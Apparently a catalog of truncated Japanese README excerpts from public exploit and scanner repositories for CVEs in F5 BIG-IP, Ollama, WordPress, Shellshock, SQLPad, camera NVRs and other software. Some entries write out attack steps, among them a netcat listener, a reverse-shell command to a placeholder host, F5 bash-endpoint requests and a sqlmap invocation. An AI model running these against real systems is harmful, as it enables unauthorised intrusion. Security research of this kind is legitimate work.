CVE-2022-21587-Oracle-EBS-

このエクスプロイトを実行するための前提条件: python3 とモジュール requests, os, sys, slipit uuencode 実行する前に、必ず倫理的な目的にのみ使用してください。 エクスプロイトが実行に失敗した場合: 前提モジュールをインストール済みであることを確認してください。 requests をインストール pip3 install requests slipit をインストール: git clone https://github.com/usdAG/slipit cd slipit python3 setup.py sdist pip3 install...

CVE-2014-6271

CVE-2014-6271 python2.7 お使いのマシンでリッスンを開始します。 nc -l -p 4444 以下のルールに従ってpythonスクリプトを実行します： python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 お楽しみください...

CVE-2023-42283

Disclaimer 教育目的のみ！ Details CVE-2023-42283 の概念実証。 Tyk Gateway は SQL インジェクションに対して脆弱です。 バージョン 5.0.7 で修正されました。 URL パラメータ 'apiid' は、"https:///api/errors/count/...?res=day&p=...&apiversion=...&apiid=" の Blind SQL インジェクションに対して脆弱です。 Exploitation 以下のパラメータで sqlmap を使用します: python.exe .\sqlmap.py -u...

CVE-2020-27199

CVE-2020-27199 Magic Home Pro - 認証バイパス Magic Home Pro Mobile Application（モバイルアプリケーション）に複数の脆弱性が見つかりました。このアプリケーションは、JadeHomic LED Strip RGB Kitと連携するために使用されます。これらの脆弱性の中で最も重大なものは、認証バイパス CVE-2020-27199 の脆弱性であり、最終的には被害者の全デバイスグループを完全に乗っ取り、制御することを可能にします。...

CVE-2023-24078

説明 このスクリプトは、私がCVE-2023-24078のために開発した概念実証（PoC）エクスプロイトです。公開されているPoCが機能せず、トラブルシューティングにフラストレーションを感じたため、独自のスクリプトを作成しました。 使用方法 usage: python3 CVE-2023-24078.py -h -lh LHOST -lp LPORT -th RHOST -tp RPORT A PoC script for exploiting CVE-2023-24078. Required arguments: -lh LHOST, --lhost LHOST Listening...

CVE-2022-1388-Scanner

F5 CVE-2022-1388 スキャナー BIG-IP iControl REST の脆弱性 CVE-2022-1388 スキャナー 使用方法 pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py リクエスト POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux上で実行する必要があり、環境にはgccが必要です。 golangをインストールし、以下のコマンドを実行してシェルをリバウンドします。 go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：エクスプロイトの実行には数分かかる場合があります。しばらくお待ちください。...

wp2shell-scanner

wp2shell-scanner WordPress コアにおける wp2shell（CVE-2026-63030 / CVE-2026-60137）への露出を検出・検証するためのツールです。モードはフラグで選択し、ターゲットは位置引数で指定します。--scan はコアのバージョンをフィンガープリントし、REST /batch/v1 ルートが到達可能であることをエクスプロイトペイロードを送信せずに確認します。--check/--read/--shell/--rce/--root-prereq モードは、許可されたラボ環境での使用を目的とした検証 PoC です。 wp2shell.py...

FreePBX-Vulns-December-25

FreePBX 脆弱性 - 2025年12月 このリポジトリには、FreePBX における3つの重大な脆弱性を検出するための Nuclei テンプレートが含まれています。 CVE-2025-61675 : 認証済み SQL インジェクション CVSS 8.6 - endpoint モジュールに影響 CVE-2025-61678 : 認証済み任意ファイルアップロード CVSS 8.6 - endpoint モジュールに影響 CVE-2025-66039 : 認証バイパス CVSS 9.3 - framework モジュールに影響 影響を受けるバージョン CVE-2025-61675 および...

WP2Shell

WP2Shell - CVE-2026-63030 / CVE-2026-60137 WordPress REST API バッチ SQLインジェクションからRCEへ WordPress REST API バッチエンドポイントの脆弱性を完全に発見・悪用するツール。 このツールは、WordPress REST APIの/wp-json/batch/v1エンドポイントにおける重大なSQLインジェクションの脆弱性を悪用し、認証されていない攻撃者が任意のSQLクエリを実行し、脆弱なWordPressインストール上でリモートコード実行（RCE）を達成することを可能にします。 ⚡ 機能...

CVE-2020-13935

Apache Tomcat の WebSocket 脆弱性に対するエクスプロイト CVE-2020-13935 対応する ブログ記事 では、この脆弱性の分析と悪用について詳しく説明されています。 使用方法 リポジトリをクローンしてから、tcdos バイナリをビルドします。次のようにプログラムを実行して、特定の WebSocket エンドポイントが脆弱かどうかをテストします: $ git clone https://github.com/RedTeamPentesting/CVE-2020-13935 $ cd CVE-2020-13935 $ go build $ ./tcdos...

CVE-2017-14263

HoneywellNVRvul CVE-2017-14263 xfuturesec Co., Ltd まず、ゲストユーザーのSessionIDを取得します。 SessionIDは任意のHTTPリクエストから見つけることができます。例： POST https://192.168.1.104/RPC2 HTTP/1.1 Accept: text/javascript, text/html, application/xml, text/xml X-Requested-With: XMLHttpRequest X-Request: JSON Content-Type:...

CVE-202122986-EXP

F5 BIG-IP リモートコマンド実行の脆弱性（CVE-2021-22986） 影響を受けるバージョン F5 BIG-IP 16.x: 16.1.0.3 F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x: 12.1.5.2 F5 BIG-IP 11.x: 11.6.5.2 fofa iconhash="-335242539" POC POST /mgmt/tm/util/bash HTTP/1.1 Host: xxx.xxx.xxx.xxx:8443...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE エクスプロイト このリポジトリには、SQLPad の CVE-2022-0944 に関するエクスプロイトスクリプトが含まれています。この脆弱性は、/api/test-connection エンドポイントを介したリモートコード実行 RCE を可能にします。 概要 提供されたスクリプト exploit.py は、SQLPad の RCE 脆弱性を悪用する方法を示しています。このスクリプトは、脆弱なエンドポイントにペイロードを送信し、ターゲットサーバー上でコマンドを実行します。 特徴 ブラインド RCE : 直接応答を受け取らずに、ターゲットサーバー上でコマンドを実行しま...

cve-2025-11953-vulnerability-demo

React Native CLI コマンドインジェクションデモ CVE-2025-11953 ⚠️ 脆弱性デモ ⚠️ JFSA-2025-001495618 - React Native CLI における重大なコマンドインジェクション CVE : CVE-2025-11953 CVSS スコア : 9.8 Critical 影響を受けるパッケージ : @react-native-community/cli-server-api 影響を受けるバージョン : 4.8.0, 20.0.0 発見者 : JFrog Security Research Team 脆弱性の概要 React Native...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd まず、'admin'アカウントのMD5ハッシュパスワードを取得します。 送信: GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windows NT 6.3; WOW64; rv:55.0...

CVE-2022-37017

CVE-2022-37017 Symantec Endpoint Protection 14.3.5351 クライアントユーザーインターフェースパスワードの認証バイパス Symantec Endpoint Protection では、UI にパスワード保護を設定して、設定変更を防止することができます。 このパスワードチェックは、Protected Process Light PPL やカーネルドライバのいずれにも該当しないロジックによって実装されています。メモリ内の戻り値を変更したり、バイナリをパッチすることで、攻撃者はパスワードをバイパスできます。 これは、Tamper...

0xKern3lCrush

0xKern3lCrush 2つの実例に関するWindows BYOVDリサーチ: Safetica ProcessMonitorDriver CVE-2026-0828 と、MedusaLockerに悪用されたThrottleStopドライバ CVE-2025-7771。本リポジトリは、露出したインターフェース、それぞれが到達する 特権的な結果、およびその悪用を検出する方法を文書化している。同梱されるのは 安全なユーザーモード偵察のみである。カーネルモードコード、IOCTL呼び出し、 プロセス終了ルーチンは含まれない。 0xKern3lCrushとは何か？...

CVE-2026-39987

CVE-2026-39987 エクスプロイトPOC 概要 このリポジトリには、Marimoにおける認証前リモートコード実行（RCE）の脆弱性であるCVE-2026-39987用の概念実証（POC）スクリプトが含まれています。このエクスプロイトはWebSocketエンドポイントを利用して、対象システム上で任意のコマンドを実行します。 脆弱性の詳細 CVE ID : CVE-2026-39987 影響を受けるコンポーネント : ターミナルWebSocketエンドポイント（/terminal/ws） 影響 : 認証なしでの不正なリモートコード実行 影響を受けるバージョン : -c ""...

cve-2019-12750

Symantec ローカル特権昇格 - CVE-2019-12750 優れた解説記事に基づく Kyriakos Economou: https://labs.nettitude.com/blog/cve-2019-12750-symantec-endpoint-protection-local-privilege-escalation-part-1/ 現時点では x64 および古い Windows バージョンのみサポートされています。...